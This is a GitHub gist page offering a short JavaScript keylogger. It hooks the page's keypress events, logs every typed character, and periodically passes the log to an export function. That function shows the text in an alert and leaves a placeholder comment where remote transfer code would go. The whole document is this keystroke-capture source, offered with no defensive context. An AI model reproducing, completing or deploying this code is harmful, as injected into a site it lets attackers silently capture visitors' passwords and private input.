Skip to content

Instantly share code, notes, and snippets.

@abhisek
Created September 2, 2012 09:26
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save abhisek/3596187 to your computer and use it in GitHub Desktop.
Save abhisek/3596187 to your computer and use it in GitHub Desktop.
Javascript Key Logger
var WEBKEY = {
dataLog: "",
start: function() {
window.onkeypress = function(ev) {
WEBKEY.dataLog += String.fromCharCode(ev.charCode);
}
setInterval("WEBKEY.exportLog();", 5000);
},
exportLog: function() {
// Remote transfer code goes here
if(WEBKEY.dataLog.length > 0) {
alert(WEBKEY.dataLog);
WEBKEY.dataLog = "";
}
}
}
WEBKEY.start();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment